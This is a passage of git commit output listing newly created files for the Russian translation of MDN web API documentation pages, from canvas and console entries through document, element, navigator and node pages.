"files/ru/web/api/canvas_api/tutorial/\321\200\320\270\321\201\320\276\320\262\320\260\320\275\320\270\320\265_\321\204\320\270\320\263\321\203\321\200/index.html" create mode 100644 files/ru/web/api/canvascapturemediastreamtrack/index.html create mode 100644 files/ru/web/api/canvasgradient/index.html create mode 100644 files/ru/web/api/canvaspattern/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/arc/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/arcto/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/beginpath/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/canvas/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/closepath/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/currenttransform/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/fill/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/fillrect/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/filltext/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/font/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/linecap/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/lineto/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/measuretext/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/miterlimit/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/moveto/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/putimagedata/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/rect/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/restore/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/rotate/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/save/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/stroke/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/strokerect/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/textalign/index.html create mode 100644 files/ru/web/api/canvasrenderingcontext2d/textbaseline/index.html create mode 100644 files/ru/web/api/cdatasection/index.html create mode 100644 files/ru/web/api/characterdata/index.html create mode 100644 files/ru/web/api/childnode/index.html create mode 100644 files/ru/web/api/childnode/remove/index.html create mode 100644 files/ru/web/api/childnode/replacewith/index.html create mode 100644 files/ru/web/api/clients/claim/index.html create mode 100644 files/ru/web/api/clients/index.html create mode 100644 files/ru/web/api/clients/openwindow/index.html create mode 100644 files/ru/web/api/clipboard_api/index.html create mode 100644 files/ru/web/api/clipboardevent/index.html create mode 100644 files/ru/web/api/comment/index.html create mode 100644 files/ru/web/api/console/assert/index.html create mode 100644 files/ru/web/api/console/clear/index.html create mode 100644 files/ru/web/api/console/count/index.html create mode 100644 files/ru/web/api/console/countreset/index.html create mode 100644 files/ru/web/api/console/debug/index.html create mode 100644 files/ru/web/api/console/dir/index.html create mode 100644 files/ru/web/api/console/dirxml/index.html create mode 100644 files/ru/web/api/console/error/index.html create mode 100644 files/ru/web/api/console/group/index.html create mode 100644 files/ru/web/api/console/index.html create mode 100644 files/ru/web/api/console/info/index.html create mode 100644 files/ru/web/api/console/log/index.html create mode 100644 files/ru/web/api/console/profile/index.html create mode 100644 files/ru/web/api/console/table/index.html create mode 100644 files/ru/web/api/console/time/index.html create mode 100644 files/ru/web/api/console/timeend/index.html create mode 100644 files/ru/web/api/console/timelog/index.html create mode 100644 files/ru/web/api/console/timestamp/index.html create mode 100644 files/ru/web/api/console/trace/index.html create mode 100644 files/ru/web/api/console/warn/index.html create mode 100644 files/ru/web/api/console_api/index.html create mode 100644 files/ru/web/api/credential_management_api/index.html create mode 100644 files/ru/web/api/crypto/index.html create mode 100644 files/ru/web/api/cryptokeypair/index.html create mode 100644 files/ru/web/api/css/index.html create mode 100644 files/ru/web/api/css_object_model/index.html create mode 100644 "files/ru/web/api/css_object_model/\320\276\321\200\320\270\320\265\320\275\321\202\320\260\321\206\320\270\321\217_\321\215\320\272\321\200\320\260\320\275\320\260/index.html" create mode 100644 files/ru/web/api/cssconditionrule/index.html create mode 100644 files/ru/web/api/cssrule/index.html create mode 100644 files/ru/web/api/cssstyledeclaration/getpropertyvalue/index.html create mode 100644 files/ru/web/api/cssstyledeclaration/index.html create mode 100644 files/ru/web/api/cssstylesheet/index.html create mode 100644 files/ru/web/api/cssvalue/index.html create mode 100644 files/ru/web/api/datatransfer/index.html create mode 100644 files/ru/web/api/devicestorage/index.html create mode 100644 files/ru/web/api/document/activeelement/index.html create mode 100644 files/ru/web/api/document/alinkcolor/index.html create mode 100644 files/ru/web/api/document/all/index.html create mode 100644 files/ru/web/api/document/anchors/index.html create mode 100644 files/ru/web/api/document/applets/index.html create mode 100644 files/ru/web/api/document/async/index.html create mode 100644 files/ru/web/api/document/bgcolor/index.html create mode 100644 files/ru/web/api/document/body/index.html create mode 100644 files/ru/web/api/document/characterset/index.html create mode 100644 files/ru/web/api/document/close/index.html create mode 100644 files/ru/web/api/document/compatmode/index.html create mode 100644 files/ru/web/api/document/contenttype/index.html create mode 100644 files/ru/web/api/document/cookie/index.html create mode 100644 files/ru/web/api/document/createattribute/index.html create mode 100644 files/ru/web/api/document/createcomment/index.html create mode 100644 files/ru/web/api/document/createdocumentfragment/index.html create mode 100644 files/ru/web/api/document/createrange/index.html create mode 100644 files/ru/web/api/document/createtextnode/index.html create mode 100644 files/ru/web/api/document/createtreewalker/index.html create mode 100644 files/ru/web/api/document/currentscript/index.html create mode 100644 files/ru/web/api/document/defaultview/index.html create mode 100644 files/ru/web/api/document/designmode/index.html create mode 100644 files/ru/web/api/document/dir/index.html create mode 100644 files/ru/web/api/document/doctype/index.html create mode 100644 files/ru/web/api/document/document/index.html create mode 100644 files/ru/web/api/document/documentelement/index.html create mode 100644 files/ru/web/api/document/documenturi/index.html create mode 100644 files/ru/web/api/document/documenturiobject/index.html create mode 100644 files/ru/web/api/document/domain/index.html create mode 100644 files/ru/web/api/document/domcontentloaded_event/index.html create mode 100644 files/ru/web/api/document/dragstart_event/index.html create mode 100644 files/ru/web/api/document/embeds/index.html create mode 100644 files/ru/web/api/document/evaluate/index.html create mode 100644 files/ru/web/api/document/execcommand/index.html create mode 100644 files/ru/web/api/document/forms/index.html create mode 100644 files/ru/web/api/document/getelementbyid/index.html create mode 100644 files/ru/web/api/document/getelementsbyclassname/index.html create mode 100644 files/ru/web/api/document/getelementsbyname/index.html create mode 100644 files/ru/web/api/document/getelementsbytagname/index.html create mode 100644 files/ru/web/api/document/getselection/index.html create mode 100644 files/ru/web/api/document/hasfocus/index.html create mode 100644 files/ru/web/api/document/head/index.html create mode 100644 files/ru/web/api/document/height/index.html create mode 100644 files/ru/web/api/document/hidden/index.html create mode 100644 files/ru/web/api/document/importnode/index.html create mode 100644 files/ru/web/api/document/index.html create mode 100644 files/ru/web/api/document/keypress_event/index.html create mode 100644 files/ru/web/api/document/links/index.html create mode 100644 files/ru/web/api/document/location/index.html create mode 100644 files/ru/web/api/document/origin/index.html create mode 100644 files/ru/web/api/document/queryselector/index.html create mode 100644 files/ru/web/api/document/queryselectorall/index.html create mode 100644 files/ru/web/api/document/readystate/index.html create mode 100644 files/ru/web/api/document/referrer/index.html create mode 100644 files/ru/web/api/document/registerelement/index.html create mode 100644 files/ru/web/api/document/scripts/index.html create mode 100644 files/ru/web/api/document/scroll_event/index.html create mode 100644 files/ru/web/api/document/url/index.html create mode 100644 files/ru/web/api/document/write/index.html create mode 100644 files/ru/web/api/document/writeln/index.html create mode 100644 files/ru/web/api/documentfragment/index.html create mode 100644 files/ru/web/api/domhighrestimestamp/index.html create mode 100644 files/ru/web/api/domparser/index.html create mode 100644 files/ru/web/api/domstring/index.html create mode 100644 files/ru/web/api/domstringlist/index.html create mode 100644 files/ru/web/api/domstringmap/index.html create mode 100644 files/ru/web/api/domtokenlist/index.html create mode 100644 files/ru/web/api/domtokenlist/replace/index.html create mode 100644 files/ru/web/api/effecttiming/index.html create mode 100644 files/ru/web/api/element/accesskey/index.html create mode 100644 files/ru/web/api/element/animate/index.html create mode 100644 files/ru/web/api/element/attachshadow/index.html create mode 100644 files/ru/web/api/element/attributes/index.html create mode 100644 files/ru/web/api/element/classlist/index.html create mode 100644 files/ru/web/api/element/classname/index.html create mode 100644 files/ru/web/api/element/clientheight/index.html create mode 100644 files/ru/web/api/element/clientleft/index.html create mode 100644 files/ru/web/api/element/clienttop/index.html create mode 100644 files/ru/web/api/element/clientwidth/index.html create mode 100644 files/ru/web/api/element/closest/index.html create mode 100644 files/ru/web/api/element/createshadowroot/index.html create mode 100644 files/ru/web/api/element/currentstyle/index.html create mode 100644 files/ru/web/api/element/getattribute/index.html create mode 100644 files/ru/web/api/element/getboundingclientrect/index.html create mode 100644 files/ru/web/api/element/getelementsbyclassname/index.html create mode 100644 files/ru/web/api/element/getelementsbytagname/index.html create mode 100644 files/ru/web/api/element/hasattribute/index.html create mode 100644 files/ru/web/api/element/hasattributes/index.html create mode 100644 files/ru/web/api/element/id/index.html create mode 100644 files/ru/web/api/element/index.html create mode 100644 files/ru/web/api/element/innerhtml/index.html create mode 100644 files/ru/web/api/element/insertadjacentelement/index.html create mode 100644 files/ru/web/api/element/insertadjacenthtml/index.html create mode 100644 files/ru/web/api/element/insertadjacenttext/index.html create mode 100644 files/ru/web/api/element/keydown_event/index.html create mode 100644 files/ru/web/api/element/keyup_event/index.html create mode 100644 files/ru/web/api/element/matches/index.html create mode 100644 files/ru/web/api/element/mousedown_event/index.html create mode 100644 files/ru/web/api/element/mouseenter_event/index.html create mode 100644 files/ru/web/api/element/mouseleave_event/index.html create mode 100644 files/ru/web/api/element/mouseup_event/index.html create mode 100644 files/ru/web/api/element/outerhtml/index.html create mode 100644 files/ru/web/api/element/queryselector/index.html create mode 100644 files/ru/web/api/element/queryselectorall/index.html create mode 100644 files/ru/web/api/element/removeattribute/index.html create mode 100644 files/ru/web/api/element/requestpointerlock/index.html create mode 100644 files/ru/web/api/element/scrollheight/index.html create mode 100644 files/ru/web/api/element/scrollintoview/index.html create mode 100644 files/ru/web/api/element/scrollleft/index.html create mode 100644 files/ru/web/api/element/scrollto/index.html create mode 100644 files/ru/web/api/element/scrolltop/index.html create mode 100644 files/ru/web/api/element/setattribute/index.html create mode 100644 files/ru/web/api/element/slot/index.html create mode 100644 files/ru/web/api/element/tagname/index.html create mode 100644 files/ru/web/api/event/bubbles/index.html create mode 100644 files/ru/web/api/event/cancelable/index.html create mode 100644 files/ru/web/api/event/comparison_of_event_targets/index.html create mode 100644 files/ru/web/api/event/currenttarget/index.html create mode 100644 files/ru/web/api/event/defaultprevented/index.html create mode 100644 files/ru/web/api/event/event/index.html create mode 100644 files/ru/web/api/event/eventphase/index.html create mode 100644 files/ru/web/api/event/index.html create mode 100644 files/ru/web/api/event/initevent/index.html create mode 100644 files/ru/web/api/event/istrusted/index.html create mode 100644 files/ru/web/api/event/preventdefault/index.html create mode 100644 files/ru/web/api/event/srcelement/index.html create mode 100644 files/ru/web/api/event/stopimmediatepropagation/index.html create mode 100644 files/ru/web/api/event/stoppropagation/index.html create mode 100644 files/ru/web/api/event/target/index.html create mode 100644 files/ru/web/api/event/timestamp/index.html create mode 100644 files/ru/web/api/event/type/index.html create mode 100644 files/ru/web/api/eventlistener/index.html create mode 100644 files/ru/web/api/eventsource/index.html create mode 100644 files/ru/web/api/eventtarget/addeventlistener/index.html create mode 100644 files/ru/web/api/eventtarget/attachevent/index.html create mode 100644 files/ru/web/api/eventtarget/detachevent/index.html create mode 100644 files/ru/web/api/eventtarget/dispatchevent/index.html create mode 100644 files/ru/web/api/eventtarget/eventtarget/index.html create mode 100644 files/ru/web/api/eventtarget/index.html create mode 100644 files/ru/web/api/eventtarget/removeeventlistener/index.html create mode 100644 files/ru/web/api/extendableevent/index.html create mode 100644 files/ru/web/api/extendableevent/waituntil/index.html create mode 100644 files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html create mode 100644 files/ru/web/api/fetch_api/index.html create mode 100644 files/ru/web/api/fetch_api/using_fetch/index.html create mode 100644 files/ru/web/api/fetchevent/index.html create mode 100644 files/ru/web/api/file/filename/index.html create mode 100644 files/ru/web/api/file/getasdataurl/index.html create mode 100644 files/ru/web/api/file/index.html create mode 100644 files/ru/web/api/file/name/index.html create mode 100644 files/ru/web/api/file/using_files_from_web_applications/index.html create mode 100644 files/ru/web/api/file_and_directory_entries_api/index.html create mode 100644 "files/ru/web/api/file_and_directory_entries_api/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" create mode 100644 files/ru/web/api/filelist/index.html create mode 100644 files/ru/web/api/filereader/error/index.html create mode 100644 files/ru/web/api/filereader/filereader/index.html create mode 100644 files/ru/web/api/filereader/index.html create mode 100644 files/ru/web/api/filereader/onabort/index.html create mode 100644 files/ru/web/api/filereader/readasarraybuffer/index.html create mode 100644 files/ru/web/api/filereader/readasbinarystring/index.html create mode 100644 files/ru/web/api/filereader/readasdataurl/index.html create mode 100644 files/ru/web/api/filereader/readastext/index.html create mode 100644 files/ru/web/api/fmradio/index.html create mode 100644 files/ru/web/api/fontface/index.html create mode 100644 files/ru/web/api/formdata/append/index.html create mode 100644 files/ru/web/api/formdata/delete/index.html create mode 100644 files/ru/web/api/formdata/entries/index.html create mode 100644 files/ru/web/api/formdata/formdata/index.html create mode 100644 files/ru/web/api/formdata/get/index.html create mode 100644 files/ru/web/api/formdata/getall/index.html create mode 100644 files/ru/web/api/formdata/has/index.html create mode 100644 files/ru/web/api/formdata/index.html create mode 100644 files/ru/web/api/formdata/keys/index.html create mode 100644 files/ru/web/api/formdata/set/index.html create mode 100644 files/ru/web/api/formdata/using_formdata_objects/index.html create mode 100644 files/ru/web/api/formdata/values/index.html create mode 100644 files/ru/web/api/gamepad/axes/index.html create mode 100644 files/ru/web/api/gamepad/buttons/index.html create mode 100644 files/ru/web/api/gamepad/connected/index.html create mode 100644 files/ru/web/api/gamepad/displayid/index.html create mode 100644 files/ru/web/api/gamepad/id/index.html create mode 100644 files/ru/web/api/gamepad/index.html create mode 100644 files/ru/web/api/gamepad/index/index.html create mode 100644 files/ru/web/api/gamepad/mapping/index.html create mode 100644 files/ru/web/api/gamepad/timestamp/index.html create mode 100644 files/ru/web/api/gamepad_api/index.html create mode 100644 files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html create mode 100644 files/ru/web/api/gamepadbutton/index.html create mode 100644 files/ru/web/api/gamepadbutton/pressed/index.html create mode 100644 files/ru/web/api/gamepadbutton/value/index.html create mode 100644 files/ru/web/api/gamepadevent/gamepad/index.html create mode 100644 files/ru/web/api/gamepadevent/index.html create mode 100644 files/ru/web/api/geolocation/getcurrentposition/index.html create mode 100644 files/ru/web/api/geolocation/index.html create mode 100644 files/ru/web/api/geolocation/using_geolocation/index.html create mode 100644 files/ru/web/api/geolocation/using_geolocation/using_the_geolocation_api/index.html create mode 100644 files/ru/web/api/geolocationcoordinates/index.html create mode 100644 files/ru/web/api/geolocationposition/index.html create mode 100644 files/ru/web/api/geolocationpositionerror/index.html create mode 100644 files/ru/web/api/globaleventhandlers/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onabort/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onanimationcancel/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onanimationend/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onblur/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onchange/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onclick/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onclose/index.html create mode 100644 files/ru/web/api/globaleventhandlers/oncontextmenu/index.html create mode 100644 files/ru/web/api/globaleventhandlers/ondragstart/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onerror/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onfocus/index.html create mode 100644 files/ru/web/api/globaleventhandlers/oninput/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onkeydown/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onkeypress/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onload/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onloadend/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onmousedown/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onmouseup/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onscroll/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onselect/index.html create mode 100644 files/ru/web/api/globaleventhandlers/onsubmit/index.html create mode 100644 files/ru/web/api/gyroscope/index.html create mode 100644 files/ru/web/api/history/go/index.html create mode 100644 files/ru/web/api/history/index.html create mode 100644 files/ru/web/api/history/length/index.html create mode 100644 files/ru/web/api/history/pushstate/index.html create mode 100644 files/ru/web/api/history/replacestate/index.html create mode 100644 files/ru/web/api/history/state/index.html create mode 100644 files/ru/web/api/history_api/index.html create mode 100644 files/ru/web/api/history_api/working_with_the_history_api/index.html create mode 100644 files/ru/web/api/htmlanchorelement/index.html create mode 100644 files/ru/web/api/htmlareaelement/index.html create mode 100644 files/ru/web/api/htmlaudioelement/audio()/index.html create mode 100644 files/ru/web/api/htmlaudioelement/index.html create mode 100644 files/ru/web/api/htmlbaseelement/index.html create mode 100644 files/ru/web/api/htmlbasefontelement/index.html create mode 100644 files/ru/web/api/htmlbodyelement/index.html create mode 100644 files/ru/web/api/htmlbrelement/index.html create mode 100644 files/ru/web/api/htmlbuttonelement/index.html create mode 100644 files/ru/web/api/htmlcanvaselement/capturestream/index.html create mode 100644 files/ru/web/api/htmlcanvaselement/getcontext/index.html create mode 100644 files/ru/web/api/htmlcanvaselement/index.html create mode 100644 files/ru/web/api/htmlcanvaselement/toblob/index.html create mode 100644 files/ru/web/api/htmlcollection/index.html create mode 100644 files/ru/web/api/htmlcollection/item/index.html create mode 100644 files/ru/web/api/htmlcontentelement/index.html create mode 100644 files/ru/web/api/htmldataelement/index.html create mode 100644 files/ru/web/api/htmldialogelement/index.html create mode 100644 files/ru/web/api/htmldialogelement/open/index.html create mode 100644 files/ru/web/api/htmldivelement/index.html create mode 100644 files/ru/web/api/htmldocument/index.html create mode 100644 files/ru/web/api/htmlelement/click/index.html create mode 100644 files/ru/web/api/htmlelement/contenteditable/index.html create mode 100644 files/ru/web/api/htmlelement/dataset/index.html create mode 100644 files/ru/web/api/htmlelement/hidden/index.html create mode 100644 files/ru/web/api/htmlelement/index.html create mode 100644 files/ru/web/api/htmlelement/nonce/index.html create mode 100644 files/ru/web/api/htmlelement/offsetheight/index.html create mode 100644 files/ru/web/api/htmlelement/offsetleft/index.html create mode 100644 files/ru/web/api/htmlelement/offsettop/index.html create mode 100644 files/ru/web/api/htmlelement/offsetwidth/index.html create mode 100644 files/ru/web/api/htmlelement/outertext/index.html create mode 100644 files/ru/web/api/htmlelement/pointerover_event/index.html create mode 100644 files/ru/web/api/htmlelement/style/index.html create mode 100644 files/ru/web/api/htmlelement/tabindex/index.html create mode 100644 files/ru/web/api/htmlformelement/elements/index.html create mode 100644 files/ru/web/api/htmlformelement/index.html create mode 100644 files/ru/web/api/htmlformelement/length/index.html create mode 100644 files/ru/web/api/htmlformelement/reportvalidity/index.html create mode 100644 files/ru/web/api/htmlformelement/reset/index.html create mode 100644 files/ru/web/api/htmlformelement/submit/index.html create mode 100644 files/ru/web/api/htmlheadelement/index.html create mode 100644 files/ru/web/api/htmlheadingelement/index.html create mode 100644 files/ru/web/api/htmlhyperlinkelementutils/hash/index.html create mode 100644 files/ru/web/api/htmlhyperlinkelementutils/host/index.html create mode 100644 files/ru/web/api/htmlhyperlinkelementutils/hostname/index.html create mode 100644 files/ru/web/api/htmlhyperlinkelementutils/href/index.html create mode 100644 files/ru/web/api/htmlhyperlinkelementutils/index.html create mode 100644 files/ru/web/api/htmlhyperlinkelementutils/origin/index.html create mode 100644 files/ru/web/api/htmlhyperlinkelementutils/password/index.html create mode 100644 files/ru/web/api/htmlhyperlinkelementutils/pathname/index.html create mode 100644 files/ru/web/api/htmlhyperlinkelementutils/port/index.html create mode 100644 files/ru/web/api/htmlhyperlinkelementutils/protocol/index.html create mode 100644 files/ru/web/api/htmlhyperlinkelementutils/search/index.html create mode 100644 files/ru/web/api/htmlhyperlinkelementutils/tostring/index.html create mode 100644 files/ru/web/api/htmlhyperlinkelementutils/username/index.html create mode 100644 files/ru/web/api/htmlimageelement/decoding/index.html create mode 100644 files/ru/web/api/htmlimageelement/image/index.html create mode 100644 files/ru/web/api/htmlimageelement/index.html create mode 100644 files/ru/web/api/htmlimageelement/srcset/index.html create mode 100644 files/ru/web/api/htmlinputelement/index.html create mode 100644 files/ru/web/api/htmlinputelement/invalid_event/index.html create mode 100644 files/ru/web/api/htmlinputelement/setselectionrange/index.html create mode 100644 files/ru/web/api/htmllinkelement/index.html create mode 100644 files/ru/web/api/htmlmediaelement/abort_event/index.html create mode 100644 files/ru/web/api/htmlmediaelement/duration/index.html create mode 100644 files/ru/web/api/htmlmediaelement/index.html create mode 100644 files/ru/web/api/htmlscriptelement/index.html create mode 100644 files/ru/web/api/htmlselectelement/index.html create mode 100644 files/ru/web/api/htmlselectelement/selectedindex/index.html create mode 100644 files/ru/web/api/htmlselectelement/setcustomvalidity/index.html create mode 100644 files/ru/web/api/htmltablecellelement/index.html create mode 100644 files/ru/web/api/htmltableelement/index.html create mode 100644 files/ru/web/api/htmltableelement/insertrow/index.html create mode 100644 files/ru/web/api/htmltimeelement/index.html create mode 100644 files/ru/web/api/htmltrackelement/index.html create mode 100644 files/ru/web/api/htmlunknownelement/index.html create mode 100644 files/ru/web/api/htmlvideoelement/index.html create mode 100644 files/ru/web/api/idbindex/index.html create mode 100644 files/ru/web/api/idbindex/locale/index.html create mode 100644 files/ru/web/api/identitymanager/index.html create mode 100644 files/ru/web/api/identitymanager/request/index.html create mode 100644 files/ru/web/api/imagebitmap/index.html create mode 100644 files/ru/web/api/imagedata/index.html create mode 100644 files/ru/web/api/index.html create mode 100644 files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html create mode 100644 files/ru/web/api/indexeddb_api/index.html create mode 100644 files/ru/web/api/indexeddb_api/using_indexeddb/index.html create mode 100644 files/ru/web/api/inputevent/index.html create mode 100644 files/ru/web/api/intersection_observer_api/index.html create mode 100644 files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html create mode 100644 files/ru/web/api/intersectionobserver/index.html create mode 100644 files/ru/web/api/keyboardevent/altkey/index.html create mode 100644 files/ru/web/api/keyboardevent/index.html create mode 100644 files/ru/web/api/keyboardevent/key/index.html create mode 100644 files/ru/web/api/keyboardevent/key/key_values/index.html create mode 100644 files/ru/web/api/keyboardevent/which/index.html create mode 100644 files/ru/web/api/localmediastream/index.html create mode 100644 files/ru/web/api/location/assign/index.html create mode 100644 files/ru/web/api/location/index.html create mode 100644 files/ru/web/api/location/reload/index.html create mode 100644 files/ru/web/api/location/replace/index.html create mode 100644 files/ru/web/api/media_session_api/index.html create mode 100644 files/ru/web/api/mediadevices/enumeratedevices/index.html create mode 100644 files/ru/web/api/mediadevices/getusermedia/index.html create mode 100644 files/ru/web/api/mediadevices/index.html create mode 100644 files/ru/web/api/mediaelementaudiosourcenode/index.html create mode 100644 files/ru/web/api/mediaerror/code/index.html create mode 100644 files/ru/web/api/mediaerror/index.html create mode 100644 files/ru/web/api/mediarecorder/index.html create mode 100644 files/ru/web/api/mediarecorder/mediarecorder/index.html create mode 100644 files/ru/web/api/mediarecorder/ondataavailable/index.html create mode 100644 files/ru/web/api/mediarecorder/requestdata/index.html create mode 100644 files/ru/web/api/mediarecorder/start/index.html create mode 100644 files/ru/web/api/mediarecorder/state/index.html create mode 100644 files/ru/web/api/mediasource/index.html create mode 100644 files/ru/web/api/mediastream/active/index.html create mode 100644 files/ru/web/api/mediastream/index.html create mode 100644 files/ru/web/api/mediastream_recording_api/index.html create mode 100644 files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html create mode 100644 files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html create mode 100644 files/ru/web/api/mediastreamtrack/index.html create mode 100644 files/ru/web/api/mediatrackconstraints/index.html create mode 100644 "files/ru/web/api/mediatrackconstraints/\321\215\321\205\320\276\320\277\320\276\320\264\320\260\320\262\320\273\320\265\320\275\320\270\320\265/index.html" create mode 100644 files/ru/web/api/mouseevent/button/index.html create mode 100644 files/ru/web/api/mouseevent/buttons/index.html create mode 100644 files/ru/web/api/mouseevent/clientx/index.html create mode 100644 files/ru/web/api/mouseevent/clienty/index.html create mode 100644 files/ru/web/api/mouseevent/ctrlkey/index.html create mode 100644 files/ru/web/api/mouseevent/index.html create mode 100644 files/ru/web/api/mouseevent/offsetx/index.html create mode 100644 files/ru/web/api/mouseevent/pagex/index.html create mode 100644 files/ru/web/api/mouseevent/screenx/index.html create mode 100644 files/ru/web/api/mouseevent/shiftkey/index.html create mode 100644 files/ru/web/api/mouseevent/which/index.html create mode 100644 files/ru/web/api/mutationobserver/index.html create mode 100644 files/ru/web/api/namednodemap/getnameditem/index.html create mode 100644 files/ru/web/api/namednodemap/index.html create mode 100644 files/ru/web/api/navigation_timing_api/index.html create mode 100644 files/ru/web/api/navigator/battery/index.html create mode 100644 files/ru/web/api/navigator/cookieenabled/index.html create mode 100644 files/ru/web/api/navigator/donottrack/index.html create mode 100644 files/ru/web/api/navigator/geolocation/index.html create mode 100644 files/ru/web/api/navigator/getdatastores/index.html create mode 100644 files/ru/web/api/navigator/getgamepads/index.html create mode 100644 files/ru/web/api/navigator/getusermedia/index.html create mode 100644 files/ru/web/api/navigator/getvrdisplays/index.html create mode 100644 files/ru/web/api/navigator/id/index.html create mode 100644 files/ru/web/api/navigator/index.html create mode 100644 files/ru/web/api/navigator/mediadevices/index.html create mode 100644 files/ru/web/api/navigator/mozaudiochannelmanager/index.html create mode 100644 files/ru/web/api/navigator/mozcamera/index.html create mode 100644 files/ru/web/api/navigator/mozl10n/index.html create mode 100644 files/ru/web/api/navigator/moznfc/index.html create mode 100644 files/ru/web/api/navigator/oscpu/index.html create mode 100644 files/ru/web/api/navigator/registerprotocolhandler/index.html create mode 100644 files/ru/web/api/navigator/sendbeacon/index.html create mode 100644 files/ru/web/api/navigator/serviceworker/index.html create mode 100644 files/ru/web/api/navigator/vibrate/index.html create mode 100644 files/ru/web/api/navigatorgeolocation/index.html create mode 100644 files/ru/web/api/navigatorid/appcodename/index.html create mode 100644 files/ru/web/api/navigatorid/appname/index.html create mode 100644 files/ru/web/api/navigatorid/appversion/index.html create mode 100644 files/ru/web/api/navigatorid/index.html create mode 100644 files/ru/web/api/navigatorid/platform/index.html create mode 100644 files/ru/web/api/navigatorid/product/index.html create mode 100644 files/ru/web/api/navigatorid/taintenabled/index.html create mode 100644 files/ru/web/api/navigatorid/useragent/index.html create mode 100644 files/ru/web/api/navigatorlanguage/index.html create mode 100644 files/ru/web/api/navigatorlanguage/language/index.html create mode 100644 files/ru/web/api/navigatorlanguage/languages/index.html create mode 100644 files/ru/web/api/navigatoronline/index.html create mode 100644 files/ru/web/api/navigatoronline/online/index.html create mode 100644 files/ru/web/api/navigatorplugins/index.html create mode 100644 files/ru/web/api/navigatorplugins/javaenabled/index.html create mode 100644 files/ru/web/api/navigatorplugins/mimetypes/index.html create mode 100644 files/ru/web/api/navigatorplugins/plugins/index.html create mode 100644 files/ru/web/api/network_information_api/index.html create mode 100644 files/ru/web/api/networkinformation/connection/index.html create mode 100644 files/ru/web/api/networkinformation/index.html create mode 100644 files/ru/web/api/node.replacechild/index.html create mode 100644 files/ru/web/api/node/appendchild/index.html create mode 100644 files/ru/web/api/node/baseuri/index.html create mode 100644 files/ru/web/api/node/baseuriobject/index.html create mode 100644 files/ru/web/api/node/childnodes/index.html create mode 100644 files/ru/web/api/node/clonenode/index.html create mode 100644 files/ru/web/api/node/comparedocumentposition/index.html create mode 100644 files/ru/web/api/node/contains/index.html create mode 100644 files/ru/web/api/node/firstchild/index.html create mode 100644 files/ru/web/api/node/getuserdata/index.html create mode 100644 files/ru/web/api/node/haschildnodes/index.html create mode 100644 files/ru/web/api/node/index.html create mode 100644 files/ru/web/api/node/innertext/index.html create mode 100644 files/ru/web/api/node/insertbefore/index.html create mode 100644 files/ru/web/api/node/isconnected/index.html create mode 100644 files/ru/web/api/node/isdefaultnamespace/index.html create mode 100644 files/ru/web/api/node/isequalnode/index.html create mode 100644 files/ru/web/api/node/issamenode/index.html create mode 100644 files/ru/web/api/node/issupported/index.html create mode 100644 files/ru/web/api/node/lastchild/index.html create mode 100644 files/ru/web/api/node/localname/index.html create mode 100644 files/ru/web/api/node/lookupnamespaceuri/index.html create 